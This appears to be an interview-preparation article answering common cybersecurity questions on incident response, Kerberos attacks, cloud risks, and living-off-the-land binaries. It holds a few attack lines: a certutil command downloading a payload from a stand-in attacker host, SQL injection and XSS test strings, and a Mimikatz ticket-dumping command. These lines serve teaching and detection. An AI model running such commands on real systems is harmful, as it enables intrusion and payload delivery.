Top 30 Cybersecurity Interview Questions And Answers For 2026

The CIA triad is the foundational framework of information security, representing three core properties every security programme aims to protect:

• Confidentiality -- ensuring data is accessible only to authorised parties. Controls: encryption, access controls, MFA, data classification. Violated by: data breaches, credential theft, eavesdropping.
• Integrity -- ensuring data is accurate and has not been tampered with. Controls: hashing (SHA-256 to verify files), digital signatures, version control, audit logs. Violated by: man-in-the-middle attacks that alter data in transit, SQL injection that corrupts a database.
• Availability -- ensuring systems and data are accessible when needed by authorised users. Controls: redundancy, failover, DDoS mitigation, backup and recovery. Violated by: ransomware, DDoS attacks, hardware failure without resilience.

Why it matters: every security control, every risk decision, and every incident response action can be mapped back to which property it protects or which violation it addresses.

A ransomware attack primarily violates availability (encrypted files, systems offline) but may also violate confidentiality (exfiltrated data) and integrity (files modified). Understanding the CIA triad lets you scope the impact of any incident accurately.

These three terms are frequently confused but have precise meanings in security risk management:

• Vulnerability -- a weakness in a system, process, or control that could be exploited. Examples: an unpatched CVE, a misconfigured S3 bucket set to public, a policy that allows weak passwords. A vulnerability exists independently of whether anyone exploits it.
• Threat -- any potential cause of an unwanted incident that may harm a system or organisation. Threats can be deliberate (a ransomware group targeting your sector), accidental (an employee accidentally deleting a database), or environmental (a power outage). A threat actor is the entity that carries out the threat.
• Risk -- the likelihood that a threat will exploit a vulnerability, combined with the impact of that exploitation. Formally: Risk = Likelihood x Impact. A critical vulnerability on an isolated lab server with no sensitive data is low risk. The same vulnerability on a payment processing server is critical risk.

Practical example: An unpatched Apache Log4Shell vulnerability (vulnerability) may be targeted by ransomware operators (threat). The risk depends on: how internet-facing the server is, what data it processes, whether compensating controls like WAF rules reduce exploitability, and the impact of compromise. A risk assessment quantifies this to drive remediation prioritisation.

Symmetric encryption uses the same key to encrypt and decrypt data. Both parties must possess the same secret key. The key challenge is key distribution -- how do you securely share the key without it being intercepted?

Examples: AES-128, AES-256, ChaCha20. Advantages: extremely fast; suitable for encrypting large volumes of data. Use cases: encrypting data at rest (full-disk encryption, database encryption), encrypting a large file.

Asymmetric encryption uses a mathematically linked key pair: a public key (freely shareable) and a private key (kept secret). Data encrypted with the public key can only be decrypted with the corresponding private key, and vice versa.

Examples: RSA-2048, RSA-4096, ECDSA, Ed25519. Advantages: solves the key distribution problem -- anyone can encrypt using your public key, only you can decrypt. Disadvantages: significantly slower than symmetric encryption; not suitable for large data volumes. Use cases: digital signatures (verifying authenticity), key exchange (TLS handshake), certificate-based authentication.

In practice, most real-world systems use both -- a hybrid approach. TLS (HTTPS) is the canonical example: asymmetric encryption is used during the handshake to securely exchange a symmetric session key; all subsequent data is encrypted with that faster symmetric key. This gives you the key distribution security of asymmetric encryption and the performance of symmetric encryption.

This is a classic systems question with multiple security touchpoints at each step:

• DNS resolution: Browser checks local cache, then OS cache, then queries a DNS resolver. Security risks: DNS spoofing/cache poisoning (attacker injects false DNS records redirecting you to a malicious IP), DNS hijacking. Mitigations: DNSSEC validates DNS responses cryptographically; DoH (DNS over HTTPS) encrypts queries.
• TCP connection (three-way handshake): SYN, SYN-ACK, ACK. Security risks: SYN flood DDoS (attacker sends millions of SYNs without completing handshakes, exhausting server resources). Mitigation: SYN cookies.
• TLS handshake: Browser and server negotiate a cipher suite, exchange certificates, verify the server's certificate against trusted CAs, and derive symmetric session keys. Security risks: expired/invalid certificate, certificate issued by untrusted CA, weak cipher suite negotiation (e.g. supporting RC4 or TLS 1.0). The browser checks Certificate Transparency logs and OCSP to ensure the certificate is not revoked.
• HTTP request and response: Browser sends an HTTP GET. Server responds. Security risks: missing security headers (CSP, HSTS, X-Frame-Options), sensitive data in URL parameters, cookie attributes missing (Secure, HttpOnly, SameSite).
• Content rendering: Browser parses HTML, loads subresources (scripts, images, stylesheets). Security risks: XSS if content is not sanitised; mixed content (HTTP resources on an HTTPS page leaking data); malicious JavaScript in CDN-hosted scripts (supply chain).

IDS (Intrusion Detection System) monitors network traffic or host activity and generates alerts when it detects suspicious patterns -- but takes no action to block the activity. It is passive: detect and alert. The SOC analyst then investigates the alert and decides on a response. Examples: Snort in detection mode, Suricata in alert mode, OSSEC for host-based detection.

IPS (Intrusion Prevention System) sits inline in the network path and actively blocks traffic that matches malicious signatures or anomaly thresholds. It is active: detect and block automatically. Examples: Snort in inline mode, Palo Alto Networks NGFW IPS, Suricata in drop mode.

When to use IDS: When you need visibility without risk of blocking legitimate traffic. Good for environments with high-value but complex traffic where false positives blocking business processes would be unacceptable -- financial trading systems, hospital networks. Also during initial deployment to tune rules before blocking.

When to use IPS: When you want automated, real-time blocking of known-bad traffic and have tuned your rules sufficiently to minimise false positives. Critical network perimeters, internet-facing services. The risk is a misconfigured IPS blocking legitimate traffic (false positive), which can cause outages worse than the threats it prevents. Always tune in IDS mode first.

Modern reality: Most Next-Generation Firewalls (NGFWs) include integrated IPS. The IDS/IPS distinction has blurred -- the real question is whether your inline inspection is configured to block or alert, and how well your rules are tuned.

Phishing is a social engineering attack delivered via email (or SMS/voice for smishing/vishing) that manipulates recipients into revealing credentials, approving MFA prompts, clicking malicious links, or opening malware-carrying attachments. It remains the most common initial access vector -- responsible for 68% of data breaches (DBIR 2024) and over 91% of ransomware incidents.

Technical controls at the email layer:

• SPF (Sender Policy Framework) -- DNS record specifying authorised mail servers for a domain. Prevents spoofing of the sender domain.
• DKIM (DomainKeys Identified Mail) -- cryptographic signature on outbound email, verified by receiver. Proves the email was not tampered with in transit.
• DMARC (Domain-based Message Authentication) -- policy telling receivers what to do with email failing SPF/DKIM (quarantine or reject). With p=reject, spoofed emails from your domain are blocked.
• Email gateway / secure email gateway (SEG) -- scans inbound email for malicious links (URL rewriting, click-time scanning), malicious attachments (sandboxing), and impersonation patterns.
• External email banners -- warning label on all externally originated email, making sender domain spoofing immediately visible to users.

Controls beyond email: MFA (converts stolen credentials into useless credentials without the second factor); DNS filtering (blocks phishing domains at query time); endpoint protection (detects malware execution if a payload is clicked); security awareness training with phishing simulations (reduces click rates from ~25% to ~4% over 12 months).

The principle of least privilege (PoLP) states that every user, process, and system should have the minimum access rights needed to perform its function -- and nothing more. It limits the blast radius of a compromise: if an attacker gains access to a low-privilege account, they cannot immediately access sensitive systems that account should never have reached.

Implementation across common environments:

• Active Directory / Entra ID: Separate standard user accounts from privileged accounts. Admins use a dedicated admin account for administrative tasks and a regular account for email and browsing. Implement Role-Based Access Control (RBAC) with the minimum role for each function. Review group memberships quarterly and remove unnecessary access.
• Cloud (AWS/Azure/GCP): Apply IAM policies that grant only the specific permissions needed. Use AWS IAM Access Analyzer to identify overpermissioned roles. Avoid wildcard permissions (*). Use short-lived credentials (temporary IAM roles via STS) rather than long-lived access keys.
• Linux systems: Run services as dedicated, non-root service accounts. Use sudo with specific command allowlisting rather than blanket root access. Restrict SSH access by user and source IP.
• Databases: Application accounts should only have SELECT/INSERT/UPDATE on the specific tables they need -- never DBA privileges or DROP TABLE rights.

Practical challenge: Least privilege requires regular access reviews. Access tends to accumulate over time (access creep) as employees change roles but keep old permissions. Quarterly access certification reviews -- where managers confirm each user's access is still appropriate -- are essential to maintain PoLP over time.

A SIEM (Security Information and Event Management) platform aggregates and correlates log data from across an organisation's technology estate -- endpoints, servers, network devices, cloud services, applications, and security tools -- into a single searchable interface. It provides two core functions: real-time alerting when log patterns match known attack signatures or anomaly thresholds, and historical investigation capability for incident response and threat hunting.

Day-to-day SOC analyst use:

• Alert triage: The SIEM fires alerts based on correlation rules. An analyst opens the alert, reviews the raw log evidence it triggered on, and determines whether it is a true positive (real attack), false positive (benign activity matching the rule), or true negative requiring no action.
• Investigation: Once a true positive is confirmed, pivot through the SIEM to build a timeline: what happened before the alert? What did the affected account or host do after? SIEM search queries like index=windows EventCode=4625 | stats count by src_ip find all failed logins grouped by source IP.
• Threat hunting: Proactively search log data for indicators of compromise or suspicious patterns without waiting for an alert to fire. Hunt for living-off-the-land techniques: PowerShell with encoded commands, WMI for lateral movement, unusual parent-child process relationships.
• Reporting: Generate metrics on alert volume, mean time to detect (MTTD), mean time to respond (MTTR), and top alert categories for weekly management reporting.

Common platforms: Splunk (most widely used enterprise SIEM), Microsoft Sentinel (cloud-native, strong Azure/M365 integration), IBM QRadar, Elastic SIEM (open-source based). Each has its own query language -- Splunk uses SPL, Sentinel uses KQL (Kusto Query Language).

These are frequently conflated but represent very different activities with different outputs:

Vulnerability assessment is a systematic scan and review of an environment to identify and catalogue known vulnerabilities -- missing patches, misconfigured services, outdated software. It answers the question: "What vulnerabilities exist?" Tools: Nessus, Qualys, Rapid7 InsightVM. Output: a list of findings ranked by CVSS severity with remediation recommendations. It does not test whether vulnerabilities are actually exploitable or what an attacker could achieve by exploiting them. It is typically automated with manual review.

Penetration test actively attempts to exploit identified vulnerabilities to determine the real-world impact of a successful attack. It answers: "What could an attacker actually do if they exploited these vulnerabilities?" A pen tester chains vulnerabilities, performs lateral movement, escalates privileges, and demonstrates the full attack path to the most sensitive assets. Output: a report showing what was exploited, what the attacker could access, and evidence (screenshots, data samples) proving the impact. Requires skilled human testers; cannot be fully automated.

Key differences in table form:

MFA (Multi-Factor Authentication) requires users to prove their identity using two or more independent factors from different categories: something you know (password), something you have (phone, hardware token), and something you are (biometrics). The security value: even if a password is phished or compromised, the attacker cannot authenticate without the second factor.

MFA is highly effective but not foolproof for several reasons:

• MFA fatigue attacks: Attackers who have stolen credentials bombard the victim's authenticator app with push notifications until the exhausted user approves one. The 2022 Uber breach started this way. Mitigation: number matching (user must enter a number displayed on the login screen into the app), additional context (app name, location shown in push).
• AiTM phishing (Adversary-in-the-Middle): A phishing proxy (Evilginx, Modlishka) relays the real login page in real time. The victim completes MFA legitimately, but the proxy captures the authenticated session cookie and uses it directly. Standard MFA does not prevent this. Only FIDO2/passkey MFA (phishing-resistant) defeats AiTM because the authentication is cryptographically bound to the legitimate domain.
• SIM swap attacks: Attacker social-engineers the victim's mobile carrier into transferring the victim's phone number to the attacker's SIM. SMS OTP codes are then received by the attacker. Mitigation: use authenticator apps or hardware tokens rather than SMS MFA.
• SS7 protocol attacks: The telephone network's signalling protocol can be exploited by sophisticated attackers to intercept SMS messages, including OTPs.

MFA hierarchy by strength: SMS OTP (weakest) < Email OTP < TOTP authenticator app < Push notification with number matching < FIDO2 hardware key (strongest, phishing-resistant).

I would follow the organisation's incident response plan, moving through containment, eradication, and recovery in sequence. Here is my step-by-step approach:

• Initial triage (first 15 minutes): Validate the alert. Check SIEM for corroborating evidence: EDR alerts for file encryption activity, anomalous process creation (cmd.exe spawning wscript, PowerShell with encoded commands), mass file renaming events (many files changing extension to .locked/.encrypted simultaneously). Confirm this is a true positive before escalating.
• Declare the incident and mobilise: Notify the CISO, IR lead, and legal team. Open a P1 incident ticket. Start the incident log -- document every action with timestamps from this moment.
• Contain immediately: Isolate affected endpoints from the network (pull the network cable, disable the NIC via EDR, or quarantine via NAC). Do not power off -- volatile memory may contain decryption keys or IOCs useful for forensic investigation. Disable the compromised user account. Block identified malicious IPs and domains at the perimeter firewall and DNS.
• Identify Patient Zero and scope the spread: Use SIEM and EDR to identify the initial infected system and trace lateral movement. Query for SMB connections, credential access events (Mimikatz indicators, LSASS memory access), and remote execution (PsExec, WMI). Map every system the attacker touched.
• Preserve evidence: Take forensic images of affected systems before any remediation. Preserve memory dumps if possible. Maintain chain of custody documentation.
• Eradication: Remove malware from all affected systems. Rotate all credentials that may have been accessed. Patch the exploited vulnerability. Rebuild systems from clean images where infection is confirmed.
• Recovery: Restore from verified clean backups. Verify backup integrity before restoring. Monitor restored systems intensively for 72 hours for re-infection. Confirm recovery before declaring the incident closed.
• Post-incident review: Within 5 days, conduct a lessons-learned session. Document what the attacker did, what controls failed, what detection was missed, and what changes prevent recurrence.

MITRE ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge) is a knowledge base of adversary behaviours observed in real-world attacks, organised into a matrix of Tactics (the "why" -- the adversary's goal) and Techniques (the "how" -- the specific method used). The Enterprise matrix covers 14 tactics from Initial Access through Exfiltration and Impact.

The 14 tactics in sequence: Reconnaissance, Resource Development, Initial Access, Execution, Persistence, Privilege Escalation, Defence Evasion, Credential Access, Discovery, Lateral Movement, Collection, Command and Control, Exfiltration, Impact.

How I use it in practice:

• Detection gap analysis: Map existing SIEM detection rules to ATT&CK techniques to identify blind spots. If you have no detections for T1003 (Credential Dumping) or T1059 (Command and Scripting Interpreter), you have detection gaps that advanced attackers routinely exploit.
• Incident investigation: When investigating an alert, look up the technique in ATT&CK to understand what other techniques the adversary likely uses alongside it, what data sources detect it, and what procedure examples look like.
• Threat intelligence mapping: When a new threat actor report is published (e.g., NOBELIUM, Scattered Spider), map their TTPs to ATT&CK techniques. This tells you which of your existing controls and detections cover their known methods and where you are blind.
• Red team planning: Build attack scenarios based on the TTP profile of threat actors relevant to your industry, test whether the blue team detects and responds to those specific techniques.

I follow a structured methodology aligned with OWASP WSTG (Web Security Testing Guide) across five phases:

• Phase 1 -- Reconnaissance: Identify the attack surface. Collect subdomains (crt.sh, Subfinder, Amass), map all endpoints (Burp Suite spider, directory brute-force with ffuf), check JavaScript files for API endpoints and hardcoded credentials, review the Wayback Machine and GitHub for historical code and leaked secrets (truffleHog). Note technology stack (Wappalyzer, response headers), frameworks (look at error pages, cookies, headers), and CMS if applicable.
• Phase 2 -- Authentication testing: Test login for username enumeration (different response for valid vs invalid usernames), brute-force protection (lockout or rate limiting after n attempts), password policy enforcement, MFA bypass possibilities. Test session management: cookie attributes (Secure, HttpOnly, SameSite), session fixation, logout invalidation, JWT weaknesses if token-based.
• Phase 3 -- Authorisation testing: Test for IDOR/BOLA -- replace your object IDs with other users' IDs. Test privilege escalation -- access admin functions with a regular user account. Test horizontal access control -- can User A access User B's resources? Test CSRF on state-changing endpoints (absence of anti-CSRF token).
• Phase 4 -- Input validation testing: Test all input fields for SQL injection (SQLmap for automation, manual for complex cases), XSS (reflected, stored, DOM-based), command injection, SSRF, XXE (on XML-consuming endpoints), path traversal, open redirect, template injection. Use Burp Scanner for automated coverage, manual testing for complex business logic.
• Phase 5 -- Business logic testing: Test for flaws specific to the application's purpose: negative values in financial transactions, skipping workflow steps (add to cart, skip payment, confirm order), race conditions on limited-use coupon codes, parameter manipulation to change prices, mass assignment.

Lateral movement is the set of techniques an adversary uses to progressively move through a network after gaining initial access, expanding their foothold toward high-value targets. An attacker who compromises a receptionist's workstation does not stop there -- they move laterally toward the domain controller, finance systems, or data repositories that are the actual objective.

Common lateral movement techniques (MITRE ATT&CK T1021 and related):

• Pass-the-Hash (PtH): Attacker extracts NTLM password hashes from memory (using Mimikatz or similar) and uses the hash directly to authenticate to other systems without knowing the plaintext password. Detection: SIEM alert on LSASS memory access (Event ID 10), anomalous authentication patterns using NTLM.
• Pass-the-Ticket (PtT) / Kerberoasting: Steal Kerberos tickets from memory (golden/silver ticket attacks) or request service tickets for accounts with SPNs and crack them offline. Detection: Kerberos anomalies in Event ID 4769, unusual service ticket requests at volume.
• PsExec / SMB execution: Execute commands on remote systems using administrative shares (ADMIN$, C$). Classic Sysinternals tool widely used in pen tests; also used by attackers. Detection: Event ID 7045 (service creation), 4648 (explicit credential use), unusual parent-child process relationships.
• WMI (Windows Management Instrumentation): Execute commands remotely via WMI subscription or command-line. Stealthy because WMI is a legitimate management tool. Detection: suspicious wmiprvse.exe child processes, WMI activity to unusual hosts.
• RDP (Remote Desktop Protocol): Direct remote access to systems using valid credentials obtained during the attack. Detection: RDP connections at unusual times, from unusual sources, to systems that do not normally receive RDP connections.

Key defensive controls: Network segmentation (limits which systems can reach which), privileged access workstations (PAW), local admin password solution (LAPS -- unique local admin passwords on every endpoint), monitoring with EDR and SIEM correlation rules for the techniques above.

Traditional perimeter security (the "castle and moat" model) assumes that everything inside the network perimeter is trusted and everything outside is untrusted. Once inside the firewall, users and systems could largely move freely. This model has broken down for three reasons: the perimeter is gone (cloud services, remote work, BYOD mean data and users are everywhere); attackers routinely breach the perimeter via phishing and compromised credentials; and lateral movement after initial access exploits implicit internal trust to reach high-value targets.

Zero Trust replaces implicit trust with continuous, context-aware verification. The core principles from NIST SP 800-207:

• "Never trust, always verify" -- every access request is authenticated and authorised regardless of network location. Being on the corporate network is not a trust signal.
• Verify explicitly -- use all available signals to make access decisions: user identity, device compliance status, location, time, application being accessed, data sensitivity. A compliant, managed device gets more access than an unmanaged personal device.
• Assume breach -- design as if the attacker is already inside. Segment everything so a compromised endpoint cannot reach unrelated systems. Monitor all traffic, including east-west (internal to internal).
• Least privilege access -- just-in-time and just-enough access; time-limited, scope-limited permissions.

Practical implementation components: Identity provider with strong MFA (Entra ID, Okta); device compliance policies (MDM); micro-segmentation (network policies that restrict lateral movement); CASB for cloud application access control; continuous monitoring of user behaviour (UEBA).

SQL Injection (SQLi) occurs when user-supplied input is inserted into a SQL query without proper sanitisation or parameterisation, allowing an attacker to manipulate the query. The injection happens server-side, affecting the database. Impact: authentication bypass, data extraction, data modification, in severe cases remote code execution (via xp_cmdshell in MSSQL). Test: submit a single quote (') in an input field and observe whether a database error appears. Use 1 OR 1=1-- - to test Boolean-based injection. Automate with sqlmap. Remediation: parameterised queries (prepared statements) are the only complete fix; input validation is defence-in-depth.

Cross-Site Scripting (XSS) occurs when user-supplied input is rendered in a browser without sanitisation, allowing an attacker to inject and execute JavaScript in a victim's browser. The injection happens client-side. Three types: Reflected (payload in URL, executed in victim's browser when they visit a crafted link), Stored (payload saved in database, executed for every user who views the page -- far more dangerous), DOM-based (manipulation of the DOM via JavaScript without server involvement). Test: inject <script>alert(1)</script> in input fields and observe if it executes. Use Burp Scanner or Dalfox for automated XSS detection. Impact: session hijacking (stealing cookies), credential phishing, keylogging, malware delivery via drive-by download. Remediation: output encoding (encode < > " ' to HTML entities before rendering), Content Security Policy (CSP) header restricts script execution.

Kerberos authentication flow (simplified): The client requests a Ticket Granting Ticket (TGT) from the Key Distribution Centre (KDC/Domain Controller) by encrypting a timestamp with their password hash. The KDC verifies it and issues a TGT encrypted with the KRBTGT account's secret key. To access a service, the client presents the TGT to the KDC and receives a Service Ticket (ST) encrypted with the service account's secret. The client presents the ST to the service, which decrypts it and grants access. Passwords never travel over the wire -- only encrypted tickets and timestamps.

Key attack vectors:

• Kerberoasting (T1558.003): Any domain user can request a Service Ticket for any account with an SPN. The ST is encrypted with the service account's password hash. Attacker requests STs for privileged service accounts and cracks the hash offline (Hashcat). Works because requesting STs does not require privileges. Detection: large volume of ST requests for multiple service accounts; hunting for Event ID 4769 with RC4 encryption type.
• AS-REP Roasting (T1558.004): For accounts with pre-authentication disabled, attacker requests AS-REP without knowing the password. The KDC returns a portion encrypted with the account's password hash, which can be cracked offline. Detection: Event ID 4768 with no pre-auth required.
• Pass-the-Ticket (T1550.003): Steal TGTs or STs from memory (Mimikatz: sekurlsa::tickets) and use them directly. If KRBTGT hash is obtained, forge golden tickets valid for any user.
• Golden Ticket: If attacker obtains the KRBTGT account hash (via DCSync or domain compromise), they can forge TGTs for any user, including domain admins, with arbitrary group memberships and expiry. Extremely persistent -- survives password resets of all other accounts.

Detection rule writing follows a four-step process: understand the threat behaviour, identify the data sources that capture it, write the query, and tune to reduce false positives while maintaining detection coverage.

Example: Detect Kerberoasting (T1558.003)

Behaviour: Kerberoasting generates a burst of Kerberos TGS requests (Event ID 4769) with RC4 encryption type (etype 0x17), which is weaker than AES and indicates a crackable ticket was requested. Legitimate service access does not typically generate many TGS requests to different service accounts in a short window.

Tuning process: Run in detection-only mode for one week. Identify false positives (backup software that legitimately requests many service tickets, monitoring tools). Add exclusions for known-good accounts and processes. Set the alert threshold based on observed baseline -- if normal maximum is 2 requests per 5 minutes, set the threshold at 3.

Cloud security covers the controls, policies, and tools that protect cloud infrastructure, services, and data. The key conceptual shift from on-premises security is the shared responsibility model: the cloud provider secures the infrastructure (physical security, hypervisor, underlying network); the customer secures everything they deploy on it (configuration, identity, data, applications). Misunderstanding this boundary is the root cause of most cloud breaches.

Top risks in cloud environments:

• Misconfigured IAM: Overpermissioned roles (wildcard * permissions, AdministratorAccess attached to application roles), long-lived access keys committed to GitHub, no MFA on root accounts. This is the most common cloud breach vector. Mitigation: AWS IAM Access Analyzer, least privilege policies, no long-lived keys, MFA on all accounts.
• Publicly exposed storage: S3 buckets, Azure Blob containers, or GCS buckets set to public access. Countless data breaches have originated from a developer misconfiguring storage permissions. Mitigation: S3 Block Public Access at the account level; AWS Config rules to alert on public buckets; regular CSPM scanning.
• Missing logging and monitoring: CloudTrail (AWS) and Azure Activity Log disabled or not forwarded to a SIEM. Without these logs, incident investigation is impossible. Mitigation: Enable CloudTrail in all regions, all services, including S3 object-level logging. Forward to a SIEM.
• SSRF to cloud metadata service: An SSRF vulnerability in a cloud-hosted application can retrieve IAM credentials from the metadata endpoint (169.254.169.254). Mitigation: IMDSv2 (requires token-based metadata access, blocking simple SSRF), VPC endpoint policies.
• Unrestricted network access: Security groups allowing 0.0.0.0/0 inbound on SSH (22), RDP (3389), or databases. Mitigation: principle of least privilege for security groups, no direct internet access to management ports, bastion/jump host or SSM Session Manager for admin access.

This is a potential malware infection scenario. I would treat it as potentially serious until investigation proves otherwise, and work methodically:

• Interview the user (5 minutes): When did slowdown start? Did they open any attachment or click any link in the strange email? What did the email say? What applications have they used since? This is often the fastest way to establish a timeline and the most likely infection vector.
• Check EDR immediately: Pull the endpoint's recent activity in the EDR console (CrowdStrike, Defender for Endpoint, SentinelOne). Look for: new process executions in the past week, suspicious parent-child relationships, network connections to unusual external IPs, PowerShell or cmd.exe activity, new scheduled tasks or registry run keys (persistence mechanisms). EDR telemetry often tells you within 2 minutes whether this is a real incident.
• Check the email: Retrieve the email from the mail gateway or SIEM. Was it flagged? What are the links? What attachment was included? Run the URL or attachment through VirusTotal or a sandbox (Any.run, Hybrid Analysis).
• Check SIEM for lateral movement: Has this workstation made unusual connections to other internal hosts? Has the user account been used to access systems it does not normally access?
• Decision point: If EDR shows malicious activity, isolate the machine from the network immediately via the EDR console before any other step. If unclear, continue investigation but alert your team lead and document every finding.
• Do not reassure the user prematurely: Explain the investigation is ongoing and you will update them. Avoid saying "you're probably fine" until investigation confirms it.

Building from scratch requires resisting the urge to buy tools first. Tools without governance, processes, and asset visibility are wasted. My phased approach:

• Week 1-2 -- Understand the business: Meet every department head. Understand what data the business holds (customer PII, payment cards, IP, healthcare records), what regulations apply (GDPR, PCI DSS, HIPAA, SOC 2), what the board considers a material risk, and what currently exists in terms of security controls. The business context determines what the programme must protect and at what level of investment.
• Month 1 -- Assess the current state: Run a gap assessment against NIST CSF 2.0 or ISO 27001. Score each function (GOVERN, IDENTIFY, PROTECT, DETECT, RESPOND, RECOVER). Run a vulnerability scan across all assets (first step: build the asset inventory -- you cannot protect what you cannot find). The gap assessment produces the programme roadmap.
• Month 1-3 -- Critical quick wins: MFA for all users (most impactful single control), DMARC at enforcement to stop domain spoofing, external email banners, centralised logging (SIEM foundation), a documented and board-approved risk appetite statement, and a basic incident response plan. These address the most common breach vectors immediately without large investment.
• Month 3-12 -- Programme foundations: Patch management SLAs and tooling, security awareness training with monthly phishing simulations, identity governance (access reviews, privileged access management), endpoint detection (EDR on all endpoints), data classification, vendor risk management process for top suppliers.
• Year 2+ -- Maturity: Pursue relevant certification (ISO 27001, SOC 2 Type II) to demonstrate programme maturity to customers, board, and partners. Build a detection and response capability. Consider a virtual CISO or in-house CISO depending on growth trajectory.

Throughout: report to the board quarterly with business-language metrics: risk reduction, control coverage, incidents handled, compliance status. Security investment is approved by people who need to understand the business case.

Executive and board communication is where many technical security leaders fail -- not because they lack knowledge, but because they speak in the wrong language. The board's language is: financial impact, regulatory liability, strategic risk, and competitive position. Technical metrics like "we patched 847 CVEs this quarter" are meaningless to them.

Principles I apply:

• Risk in financial terms: "We have 3 unpatched critical vulnerabilities on our payment processing system. Based on industry breach cost data for our sector and data volume, a successful exploitation has an estimated financial exposure of $2.4M including regulatory fines, breach notification costs, and reputational impact. Patching is estimated at 40 person-hours."
• Traffic light dashboard: A one-page heat map of the six NIST CSF functions, each rated Red/Amber/Green with a one-line trend note. The board can see programme status in 30 seconds and ask questions about the Reds.
• Peer benchmarking: "Companies in our sector are experiencing X attacks per month targeting this vulnerability. Two of our direct competitors have publicly disclosed breaches from this attack vector this year." Peer context converts abstract risk into concrete competitive urgency.
• The right ask is specific: Do not present a problem without a solution and a cost. "To address our current EDR gap, I am requesting $180,000 for CrowdStrike Falcon deployment on 1,800 endpoints. This moves our endpoint detection from Red to Green on the NIST CSF dashboard and reduces ransomware dwell time from an estimated 21 days to under 4 hours based on vendor benchmarks."
• Avoid jargon entirely: No CVEs, no CVSS, no APTs, no zero-days in board presentations. If you must introduce a concept, define it in one sentence in plain English.

Threat intelligence is processed, contextualised information about adversaries, their capabilities, their infrastructure, and their intentions -- produced in a form that supports a specific security decision. Raw IOCs (IP addresses, file hashes) are data. Contextual analysis of a threat actor's TTPs, targets, and timing is intelligence. The difference matters because intelligence drives decisions; data alone does not.

Four intelligence levels:

• Strategic: Long-term trends and actor targeting -- for CISO and board. "Nation-state actors targeting organisations in our sector have increased activity by 40% following recent geopolitical events." Informs investment decisions.
• Operational: Upcoming campaigns, attacker infrastructure -- for security management. "The ALPHV ransomware group is currently targeting healthcare organisations using CVE-2024-XXXX in VPN appliances." Informs patching prioritisation and defensive posture.
• Tactical: TTPs from recent campaigns, mapped to MITRE ATT&CK -- for detection engineers. Informs new SIEM rules and hunting queries.
• Technical: IOCs (IPs, domains, hashes, YARA rules) -- for security tools. SIEM blocklists, firewall blacklists, EDR detection rules.

Operationalising it: Subscribe to ISAC feeds relevant to your sector (FS-ISAC for financial, H-ISAC for healthcare, CISA alerts for critical infrastructure). Integrate technical IOCs into your SIEM and firewall automatically via STIX/TAXII or a TIP (Threat Intelligence Platform: Recorded Future, ThreatConnect, MISP for open-source). Map incoming TTP reports to ATT&CK and run detection coverage assessments against them. Use intel to prioritise vulnerability patching -- a CVE exploited by a threat actor targeting your sector is your top patch priority regardless of CVSS score.

This is a critical security incident requiring immediate action. The credentials are effectively already compromised -- assume they have been harvested by automated scanners that continuously monitor GitHub for secrets (truffleHog bots run by threat actors). Every minute of delay increases exposure.

• Immediate (within 5 minutes): Revoke the exposed credentials in the AWS IAM console immediately. Do not wait to assess impact first -- revoke, then investigate. If the key belongs to an IAM user, disable the access key (not delete -- you need the key ID for CloudTrail queries). Notify the developer, their manager, and the security team.
• Investigate exposure window: Check the git commit history -- when was the credential first committed? Has the repository been public the entire time? Use CloudTrail to pull all API calls made using this access key for the exposure window. Look for: API calls from unusual IPs or regions, new IAM users or roles created, S3 bucket access or data downloads, EC2 instance launches (cryptomining), changes to security groups or network ACLs.
• Scope the impact: What permissions did this key have? IAM policies tell you what the key could do; CloudTrail tells you what it did. If the key had broad permissions (AdministratorAccess or similar), treat the entire AWS account as potentially compromised.
• Remove from GitHub: Contact GitHub to request secret removal from the commit history (GitHub's Secret Scanning may have already flagged it). Remove from the active code. Note: removing from the current commit is not enough -- the credential remains in git history unless history is rewritten (git filter-branch or BFG Repo Cleaner).
• Remediation: Issue new credentials and store in AWS Secrets Manager. Implement pre-commit hooks (git-secrets, detect-secrets) to prevent future credential commits. Enable GitHub Advanced Security secret scanning on all repositories.
• Post-incident: Determine whether any data was exfiltrated or resources were spun up. Notify affected parties as required by data protection law. Run a lessons-learned session and update secure development training.

Supply chain security covers the risks introduced by third-party software, hardware, services, and suppliers that an organisation relies on. It has become a board-level priority because several of the most damaging cyberattacks of the last five years exploited trusted supply chain relationships rather than attacking the target organisation directly.

Key incidents that defined the threat: The SolarWinds attack (2020) -- Sunburst malware was inserted into a SolarWinds Orion software update, reaching 18,000 organisations including US federal agencies. The XZ Utils backdoor (2024) -- a sophisticated multi-year social engineering campaign inserted a backdoor into a critical Linux compression library. The 3CX supply chain attack (2023) -- a trojanised version of the 3CX desktop application delivered via a compromised upstream dependency.

The core problem: Organisations extend implicit trust to their software and service suppliers. A signed, digitally-verified update from a known vendor passes all security controls because it is genuinely signed by the vendor -- but the vendor's build pipeline was compromised. Traditional perimeter defences cannot distinguish malicious software that comes from a trusted update channel.

Controls:

• Software Bill of Materials (SBOM): A machine-readable inventory of every component in a software product. With an SBOM, when a new CVE is disclosed in a library, you can instantly identify which of your applications use it.
• Supplier risk programme: Tier all suppliers by criticality and access. Require security questionnaires, penetration test attestation, SOC 2 Type II or ISO 27001 certifications for critical suppliers. Review annually.
• Dependency management: Lock dependency versions, use private package repositories, validate package integrity (sigstore, checksums), monitor for dependency confusion attacks.
• Zero-trust approach to updates: Even trusted vendor updates should be tested in a staging environment before production deployment, with anomalous behaviour detection during the test window.

Living off the land (LotL) is an attack technique where adversaries use legitimate system tools and binaries already present on the target -- rather than deploying custom malware -- to carry out their attack. The name comes from the concept of a soldier surviving in enemy territory by foraging from the land rather than bringing supplies.

Why LotL is difficult to detect: Because the tools being used are legitimate and expected to run on Windows and Linux systems. PowerShell, WMI, certutil, mshta, regsvr32, and rundll32 all have legitimate administrative uses. An antivirus or EDR configured to block these tools would break normal system administration. The attacker's activity blends into the noise of normal operations.

Common LotL binaries (LOLBins) and their attacker uses:

• PowerShell: Download and execute payloads in memory (never touches disk), remote command execution, lateral movement via PowerShell Remoting. Detected by: script block logging (Event ID 4104), AMSI (Antimalware Scan Interface) integration, constrained language mode.
• certutil.exe: Encode/decode base64 files, download content from URLs (certutil -urlcache -f http://attacker.com/payload.exe). Detected by: network connections from certutil to external IPs, command-line logging.
• wscript / cscript: Execute VBScript and JScript -- often used in phishing macro chains to execute the next stage payload.
• mshta.exe: Execute HTA (HTML Application) files, can download and execute remote scripts. Detected by: mshta spawning child processes, network connections from mshta.
• Scheduled tasks / WMI subscriptions: Persistence via legitimate OS mechanisms.

